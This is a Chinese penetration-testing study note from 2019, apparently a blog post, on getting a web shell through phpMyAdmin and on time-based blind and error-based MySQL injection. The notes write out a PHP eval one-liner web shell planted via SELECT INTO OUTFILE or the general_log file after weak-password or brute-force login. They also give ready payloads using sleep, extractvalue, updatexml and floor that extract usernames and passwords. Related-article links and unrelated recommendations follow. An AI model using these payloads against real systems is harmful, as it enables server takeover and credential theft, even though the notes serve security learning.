phpmyadmin getshell方法
1,查看是否有导入导出设置 show global variables like '%secure-file-priv%';
2,如果secure-file-priv没设置为空或指定的文件夹可以利用,写入木马,select"<?php @eval($_POST[s]);?>" into outfile "var/www/html/xx.php"

利用日志文件getshell,mysql大于5.0版本会创建日志文件,并且创建日志文件为全局变量,且可以读写的
常见的日志文件分为业务日志和系统日志,利用Phpmyadmin的日志文件去Getshell
1,通过弱口令或爆破方式登录phpmyadmin,执行sql语句select @@datadir; 得到数据库位置之后猜测源码存放的位置D:\phpstudy_pro\www下
2,查看日志状态,show variables like '%general%'
3,开启日志记录功能,并且修改记录的路径和文件名,set global general_log = 'on'
4,修改保存文件位置,set global general_log_file = 'd:/phpstudy_pro/www/log.php'
5,写入一句话select"<?php @eval($_POST[s]);?>"

基于时间的sql注入
使用特定的函数,让数据库去执行,在页面等待一定时间来查看当前页面中的注入情况

函数
sleep(),数据库暂停一段时间
benchmark(),可以测试某些特定操作的执行速度。参数1可以是需要执行的次数,参数2是表达式就是某些动作。表达式可以是任何的标量表达式,比如返回值是标量的子查询或者函数,比如benchmark(100,100*100)

操作步骤
1,找注入点,1' and sleep(3)%23
2,获取当前数据库长度,and if(ascii(substring(database(),1,1))=114,sleep(5),'bye'),只有正确了才会sleep
3,获取数据表,and if(ascii(substring((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=114,sleep(5),'bye'),只有正确了才会sleep,得到有价值的表,比如user
4,获取表的字段 ,and if(ascii(substring((select distinct column_name from information_schema.tables where table_schema=database() and table_name='users(需要转码16禁止)' limit 0,1),1,1))=114,sleep(5),'bye'),只有正确了才会sleep,得到有价值的表中字段,比如user,password
5,获取值表中内容,and if(ascii(substring((select distinct select concat(user,0x7e,password) from users limit 0,1),1,1))=114,sleep(5),'bye'),只有正确了才会sleep,得到表中内容
6,破解密码,扫描目录,登录后台

报错型sql注入
利用一些报错的函数构造Pyload,数据库执行之后会报错,将需要的数据带出来,达到攻击目的

报错函数
1,extractvalue(xml,value),extractvalue()函数也是MySQL 5.1以后推出的对xml文档数据进行查询和修改的xpath函数。
extractvalue()的xml参数随便设定一个数。利用extractvalue()获取数据的固定payload是:or extractvalue(1,concat('#',(select * from (select ....) a)))#
2,updatexml(参数1,参数2,参数3)函数,updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数。改变xml文档中符合条件的值,参数1为xml文档,参数2是xpath格式字符串,参数3是string格式的用来替换查找到符合条件的字符串
updatexml()获取数据的固定payload是:or updatexml(1,concat('#',(select * from (select ...) a)),0) #
extracvalue()和updatexml()报错函数,截取字符长度都限制了32位
3,floor()函数返回小于等于该值的最大整数,必需和conut() 计数,rand()产生0到1随机数,但是自己设置数的话会变长固定的, group by排序,等配合使用,只要可以达到相同目的的函数都可以使用
(select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'

2019-9-9:渗透测试,基础学习,phpmyadmin getshell方法,基于时间的盲注,基于报错的注入,笔记的更多相关文章

  1. DVWA-基于布尔值的盲注与基于时间的盲注学习笔记

    DVWA-基于布尔值的盲注与基于时间的盲注学习笔记 基于布尔值的盲注 一.DVWA分析 将DVWA的级别设置为low 1.分析源码,可以看到对参数没有做任何过滤,但对sql语句查询的返回的结果做了改变 ...

  2. 渗透之路基础 -- SQL进阶(盲注和报错注入)

    SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...

  3. 零基础到精通Web渗透测试的学习路线

    小编相信很多新手都会遇到以下几个问题 1.零基础想学渗透怎么入手? 2.学习web渗透需要从哪里开始? 这让很多同学都处于迷茫状态而迟迟不下手,小编就在此贴给大家说一下web渗透的学习路线,希望对大家 ...

  4. 2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记

    sqlmap参数--file-read,从数据库服务器中读取文件--file-write,--file-dest,把文件上传到数据库服务器中 dnslog平台的学习和它在盲注中的应用1,判断注入点2, ...

  5. WEB渗透测试基础工具

    代理查询网站:hidemyass(隐藏我的屁股) HTTrack:HTTrack是一个免费和易用的离线浏览工具(浏览器),它可以允许你下载整个WWW网站至本地目录,并且通过遍历网站目录获取HTML,图 ...

  6. 怎么规划一个零基础学习Unity3D的“方法”或者“流程”?

    具体出处:https://www.zhihu.com/question/35542990 我只是一个计算机相关专业毕业的,已经掌握了基础的C#并开发过.net的.目前突然心血来潮对unity3D有兴趣 ...

  7. 转载过来的参考内容---常规36个WEB渗透测试漏洞描述及修复方法----很详细

        常规WEB渗透测试漏洞描述及修复 --转自:http://www.51testing.com/html/92/n-3723692.html (1). Apache样例文件泄漏 漏洞描述 apa ...

  8. kali渗透测试基础

    一侦查 研究如何收集有关目标的情报,比如开发那些端口用来通信,托管在哪里,提供给客户的服务类型等. 交付内容应该包括需要攻击的所有目标资产清单,与那些资产关联的应用,使用的服务以及可能的资产所有者. ...

  9. kali黑客渗透测试基础环境准备

    1.apt-get install python-nmap 2.apt-get install python-setuptools 正在读取软件包列表... 完成 正在分析软件包的依赖关系树      ...

随机推荐

  1. 微信小程序中的canvas基础应用

    学了东西还是要记录一下,刚入职的小萌新啊,运气好分到一个项目不是很急的组原以为时间多了可以多学一些东西,但是发现好像不知道从哪里开始下手,我太南了.... 看旁边的实习生同事一直在搞canvas,自己 ...

  2. 解决Dubbo 2.7.3版本使用ConfigCenterConfig集成Apollo No Provider found的问题

    Dubbo 2.7.3 集成Apollo 问题描述 Dubbo 2.7.3支持配置中心外部化配置, 因此只需要定义一个ConfigCenterConfig的Bean. @EnableDubbo(sca ...

  3. C++两个队列实现一个栈

    C++两个队列实现一个栈 /* * source.cpp * * Created on: 2015年6月21日 * Author: codekiller */ #include "iostr ...

  4. 小白学 Python(12):基础数据结构(字典)(上)

    人生苦短,我选Python 前文传送门 小白学 Python(1):开篇 小白学 Python(2):基础数据类型(上) 小白学 Python(3):基础数据类型(下) 小白学 Python(4):变 ...

  5. Unity 单例模式

    明天十一放假,今天不知什么原因看到一篇unity单例模式的介绍,瞬间来了戾气. (一)最简单的单利 public class WebRequestUtility : MonoBehaviour { p ...

  6. unity 初始化数据存储问题

    在用unity进行开发的时初始化的数据和中间实时生成的数据存储不同,初始化文件数据建议安放在asset-StreamingAssets文件下,需要时读取取来.运行时所需的实时文件或数据持久化的xml文 ...

  7. 23 个重难点突破,带你吃透 Service 知识点「长达 1W+ 字」

    前言 学 Android 有一段时间了,想必不少人也和我一样,平时经常东学西凑,感觉知识点有些凌乱难成体系.所以趁着这几天忙里偷闲,把学的东西归纳下,捋捋思路. 这篇文章主要针对 Service 相关 ...

  8. Ubuntu编译安装nginx以及配置自动启动

    本文主要介绍ubuntu如何编译安装nginx以及遇到的问题 和 配置系统自动启动服务 查看操作系统版本 cat /etc/issue  Ubuntu 18.04.3 LTS \n \l    更改镜 ...

  9. Vue实例与模板语法

    VUE基础使用方法 一.安装 1.NPM 在用 Vue 构建大型应用时推荐使用 NPM 安装[1].NPM 能很好地和诸如 webpack 或 Browserify 模块打包器配合使用.同时 Vue ...

  10. MyBatis与Spring的整合实例详解

    从之前的代码中可以看出直接使用 MyBatis 框架的 SqlSession 访问数据库并不简便.MyBatis 框架的重点是 SQL 映射文件,为方便后续学习,本节讲解 MyBatis 与 Spri ...